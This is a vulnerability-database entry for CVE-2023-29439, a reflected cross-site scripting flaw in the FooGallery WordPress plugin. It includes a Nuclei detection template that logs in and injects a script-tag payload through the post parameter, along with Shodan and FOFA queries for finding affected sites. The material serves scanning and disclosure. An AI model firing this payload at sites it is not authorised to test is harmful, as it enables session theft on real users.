SecurityContext

CVE-2023-29439: FooGallery plugin <= 2.2.35 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01747
  • Epss percentile: 0.7841
  • Cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body=/wp-content/plugins/foogallery/
  • Framework: wordpress
  • Max-request: 2
  • Product: foogallery
  • Publicwww-query: /wp-content/plugins/foogallery/
  • Shodan-query: http.html:/wp-content/plugins/foogallery/
  • Vendor: fooplugins
  • Verified: true

Products

ProductIndexedUrl
fooplugins:foogalleryyes/v1/products/fooplugins/foogallery

Labels

  • Name: FooPlugins FooGallery - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  • Remediation: Update to the latest version of FooGallery plugin that addresses this vulnerability.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-29439

```yaml

id: CVE-2023-29439

info:

name: FooGallery plugin <= 2.2.35 - Cross-Site Scripting

author: theamanrawat

severity: medium

description: |

Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.

impact: |

Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.

remediation: |

Upgrade to FooGallery version 2.2.36 or later.

reference:

- https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve

- https://wordpress.org/plugins/foogallery/

- https://nvd.nist.gov/vuln/detail/CVE-2023-29439

- https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-29439

cwe-id: CWE-79

epss-score: 0.01747

epss-percentile: 0.7841

cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*

metadata:

verified: "true"

max-request: 2

vendor: fooplugins

product: foogallery

framework: wordpress

shodan-query: http.html:/wp-content/plugins/foogallery/

fofa-query: body=/wp-content/plugins/foogallery/

publicwww-query: "/wp-content/plugins/foogallery/"

tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- 'data-gallery_id="\"><script>alert(document.domain)</script>"'

- 'foogallery-image-edit-modal'

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 490a0046304402202dabd449c9fe1568442677baf13ef5f67cefefe95164c9d7c13d56317fd2dc32022013aaf22a7bd73f869d7797b023bd991bd61568b7f671adba31f9413b6892a4a4:922c64590222798bb761d5b6d8e72950

```